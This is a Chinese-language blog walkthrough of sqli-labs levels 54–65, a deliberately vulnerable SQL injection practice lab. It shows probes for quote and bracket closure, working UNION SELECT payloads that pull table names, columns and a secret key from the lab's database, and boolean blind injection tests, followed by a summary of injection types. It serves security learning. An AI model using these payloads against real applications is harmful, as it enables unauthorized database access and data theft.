sqli-labs(54-65)
五十四關
翻到第四頁了,這一頁的內容算是前面的綜合考核了
看一下介面,要求,從challenges
資料庫中取出祕鑰,要求步驟不超過10步
輸入?id=1'
,頁面無顯示
再輸入?id=1"
,頁面返回資料
通過上面兩個步驟,足以判斷出有單引號參與了閉合,但還需要判斷是否有括號參與閉合,這就需要使用到and 1=1
了,可以使用註釋符註釋掉多餘內容,也可以使用符號直接閉合。
輸入?id=1' and 1=1--+
,頁面正常回顯
輸入?id=1' and 1=2--+
,頁面無回顯
通過上面兩步,確定了是單引號閉合,使用註釋符的方式就不會有')
的干擾,如果是使用閉合的方式,那還需要判斷一下有沒有可能是')
閉合(參考26關括號判斷)。
這裡已經判斷好了閉合,而頁面上是有資料庫回顯的,所以,可以直接嘗試聯合查詢,先來order by 一下
order by 3
正常回顯
order by 4
無回顯
判斷出欄位數之後,下一步就需要判斷顯示位,但是現在我們只剩下3步了(雖然可以重置,但還是想挑戰一下),尤其是之前自己還浪費了一步,我們題目中已經告知我們祕鑰在challenge
資料庫,這裡我就節約一點步驟,直接開始查詢,查到就是賺到,就不用數字去慢慢判斷了。
?id=-1' union select @@version,database(),group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
這裡查出表名,雖然這個表名看上去還怪像個祕鑰的,但別想多了,這不是
找到表之後,我們就該來爆出欄位了。
?id=-1' union select @@version,database(),group_concat(column_name) from information_schema.columns where table_name='txrmvy0y9u' --+
這裡一步小心又浪費了一個步驟,不過沒關係,被重置了的話,直接用一下之前的查詢語句就行了,再查一下就行,最終查出結果。
?id=-1' union select @@version,database(),concat_ws('|',id,sessid,secret_Q5AE,tryy) from 表名--+
接著提交一下自己獲取到的資料就行了。
這裡用concat_ws
函式,用於連線同一條資料中的不同欄位,需要設定第一個引數為分割符(橫向連線)
前面的group_concat
函式,用於連線同一欄位的幾條資料,會自動新增逗號作為分割符(縱向連線)
還有個concat
函式,這個在報錯注入中經常用這個函式,這個函式和concat_ws
函式查不多,需要自己設定分割符,而且是在你自己想分割的地方自己設定。(橫向連線)
五十五關
還是和前面差不多的介面,不過,這次有14個步驟。
還是和上一關一樣,直接先來判斷閉合,輸入?id=1'
,頁面沒有回顯
輸入?id=2'
,頁面還是沒有回顯。
這就有點耐人尋味了,單引號和雙引號總不可能都參與了閉合吧?還別說,沒探討過這個問題。那來試一下,確實不能雙重包裹,不然裡面的引號也被當成字串。那這樣看來,就有可能二者都沒參與閉合。
那是否意味著,這是一個數字型呢,一試便知,我們輸入?id=1--+
,如果是一個數字型的話,後面的limit語句就會被註釋掉(如果註釋符沒被過濾的話),這不會對結果產生影響,如果依舊是有符號包裹著,那就會出錯,沒有回顯。
可以看到,頁面沒有回顯,那應該是有符號包裹的,但是單引號與雙引號都不存在,那還有可能是啥呢?還有括號,純的擴號也可以用來包裹。那麼來試一下。
直接輸入?id=1)
,頁面沒了回顯
接著我們在後面加上一個註釋符,有回顯了,那應該可以判定是)
閉合了。
那剩下的步驟就和上一關沒什麼區別了,就不演示了
五十六關
還是一樣的步驟,直接來判斷閉合,輸入?id=1'
,頁面沒有回顯
輸入?id=1"
,頁面回顯,通過這兩點可以推測,單引號參與了閉合,接下來就要看有沒有括號了。
輸入?id=1'--+
,頁面沒有回顯
輸入?id=1')--+
,頁面正常回顯,說說明是')
閉合。
五十七關
輸入?id=1'
,頁面正常回顯
輸入?id=1"
,頁面沒有回顯
那這樣子看來,應該是雙引號參與閉合,那就先來註釋一下,輸入?id=1"--+
,成功回顯,確認是雙引號閉合。
後續的就不再演示了。
五十八關
輸入一個單引號,直接報出錯誤資訊,一瞬間就判斷出了閉合,那接下來無論是報錯注入還是聯合查詢都很直接了
五十九關
還是一樣的,輸入一個單引號,出現瞭如下錯誤,這樣看來就是數字型了,當然也可以使用and 1=1
判斷一下,或者直接使用註釋符再確認一下。
六十關
輸入一個單引號,返回正常,那就可能是雙引號參與閉合
輸入一個雙引號,產生如下報錯,可以看出是")
閉合
六十一關
輸入單引號,直接爆出如下錯誤,直接看出是'))
閉合
六十二關
輸入一個單引號,頁面無回顯,但是這關給的步驟異常的多,那照這樣子看來,應該是需要進行盲注了?
那我直接輸入一個普通的?id=1
看一下,卻看到依舊有資料庫的資料顯示,那按道理來說應該是可以使用聯合查詢的。
再輸入?id=1"
,頁面再次回顯正常,那可以判斷,單引號參與了閉合。
接著就需要看是否還有括號參與閉合了,直接使用註釋符的方式。輸入?id=1'--+
,頁面無回顯
輸入?id=1')--+
,頁面正常回顯
接著使用order by
判斷出是三個欄位,接著使用聯合查詢,但是發現並不能有反饋,應該是被過濾掉了
稍加嘗試,試了一下雙寫,但是並沒有效果
那我們們先不嘗試這個,先確認可以盲注再說,使用and 1=1
進行測試
輸入?id=1') and 1=1--+
,頁面正常回顯
輸入?id=1') and 1=2--+
,頁面無回顯,那就是可以使用布林盲注的
稍加測試,?id=1') and length(database())=10--+
,頁面正常回顯,接下來就是反覆的過程了,建議開burp,或者自己寫一個指令碼。
六十三關()
輸入?id=1'
,頁面無回顯
輸入?id=1"
,頁面正常回顯,那應該是有單引號參與閉合
接下來使用註釋符註釋一下,輸入?id=1'--+
,頁面正常顯示,說明是單引號閉合
六十四關
輸入?id=1'
,頁面無回顯
輸入?id=1"
,頁面依舊無回顯,那就有可能是一個數字型,或者是括號閉合
使用註釋符來進行測試,輸入?id=1--+
,頁面依舊無回顯,排除數字型
但是當我們輸入?id=1)--+
時,頁面還是無回顯,那就比較奇怪了,難道還有括號?
輸入?id=1))--+
時,頁面正常回顯回顯,那就可以判定是))
閉合了。
其實,因為這道題是布林盲注,所以,就算沒能判斷出閉合,直接在括號裡使用and
來構造了邏輯表示式也是能夠成功進行判斷的,但是我們最好還是先判斷出閉閉合
六十五關
輸入?id=1'
,頁面正常回顯
輸入?id=1"
,頁面無回顯,說明有雙引號參與了閉合
使用註釋符進行判斷,輸入?id=1"--+
,頁面無回顯,那說明外面還有括號
輸入?id=1")--+
,頁面正常回顯,判斷出是")
閉合。
結語
寫了一個多周,終於是完成了這個靶場的博文,其實按理來說應該是花不了這麼多時間的,但是自己還是有點喜歡偷懶。正好最近這段時間又有s10總決賽,時不時的就看一下比賽,偶爾還看看雲觀眾的的遊戲言論,去爭論一番,我也是腦袋不清醒了,浪費自己時間,哈哈。
僅從這個靶場來看,其實最重要的就是對注入點的判斷,當然,在真實的場景中還有waf的繞過呀什麼,那個也會是一個難點,如果你把這個靶場做通了,那至少掌握了sql注入的基礎了。之後你需要學習sqlmap的使用,使用burpsuite進行半自動化的注入,接著是學習waf的繞過,學習自己能夠編寫sqlmap的tamper進行自動化的繞過waf(這些我也還沒學,但我覺得應該是這麼個路線)。
這裡再來總結一下整個的靶場吧
1.sql注入按資料型別來分,可分為數字型和字元型
2.按注入手法來分,有聯合查詢,報錯注入,布林盲注,延時注入,(堆疊注入勉強算一種),我們下面只拿前四種來說。
3.按sql語句來分,有select型,delete型,update型,insert型,order by型
4.select型適用的注入手法最多,幾種手法都適用
5.delete語句因為和select語句一樣具有where條件查詢語句,所以,除了聯合聯合查詢也都能用。
6.insert和update語句,就只能使用報錯注入了。因為沒有查詢的表,所以不能使用union,又沒有where條件語句,所以布林盲注和延時注入都不能使用。
相關文章
- less-12 in sqli-labsSQL
- sqli-labs————Less-52SQL
- sqli-labs————Less-53SQL
- sqli-labs————Less-55SQL
- sqli-labs————Less-56SQL
- sqli-labs————Less-57SQL
- sqli-labs————Less-58SQL
- sqli-labs————Less-59SQL
- sqli-labs————Less-28SQL
- sqli-labs————less-28aSQL
- sqli-labs————Less-29SQL
- sqli-labs————Less-30SQL
- sqli-labs————Less-31SQL
- sqli-labs————Less-32SQL
- sqli-labs————Less-33SQL
- sqli-Labs————less-35SQL
- sqli-Labs————less-36SQL
- sqli-Labs————less-37SQL
- sqli-Labs————less-38SQL
- sqli-Labs————less-39SQL
- sqli-Labs————less-40SQL
- sqli-Labs————less-41SQL
- sqli-Labs————less-42SQL
- sqli-Labs————less-43SQL
- sqli-Labs————less-44SQL
- sqli-Labs————less-45SQL
- sqli-labs————Less-48SQL
- sqli-labs————Less-49SQL
- sqli-labs————Less-51SQL
- Sqli-labs 部落格目錄SQL
- sqli-labs————Less-60-65SQL
- sqli-labs ————less -26aSQL
- Sqli-Labs:Less2-Less4SQL
- 玩一玩sqli-labs靶場SQL
- sqli-labs第二關 詳解SQL
- Sqli-labs之Less1-10SQL
- sqli-labs Less 2-6 攻略SQL
- sqli-labs 第25關(過濾or和AND )SQL